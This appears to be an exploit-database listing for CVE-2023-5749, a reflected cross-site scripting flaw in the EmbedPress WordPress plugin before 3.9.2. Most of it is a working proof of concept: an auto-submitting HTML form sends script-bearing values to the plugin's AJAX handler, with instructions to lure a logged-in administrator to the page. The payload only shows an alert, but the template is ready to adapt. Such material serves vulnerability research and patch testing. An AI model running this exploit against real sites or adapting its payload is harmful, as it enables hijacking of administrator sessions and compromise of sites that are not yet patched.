Exploit for EmbedPress < 3.9.2 - Reflected XSS CVE-2023-5749

Name: Exploit for EmbedPress < 3.9.2 - Reflected XSS CVE-2023-5749
Rating: 5 (59 reviews)

2023-11-20 | CVSS 5.8

## https://sploitus.com/exploit?id=WPEX-ID:3931DAAC-3899-4169-8625-4C95FD2ADAFC
Make a logged in admin open a page containing the HTML code below

<html>
    <body onload="document.forms[0].submit()">
        <form action="https://example.com/wp-admin/admin-ajax.php?action=lock_content_form_handler" method="POST">
            <input type="hidden" name="password" value="<img src=x onerror=alert(`XSS-password`)>" />
           <input type="hidden" name="post_id" value="<img src=x onerror=alert(`XSS-post_id`)>" />
            <input type="submit" value="hack me" />
        </form>
    </body>
</html>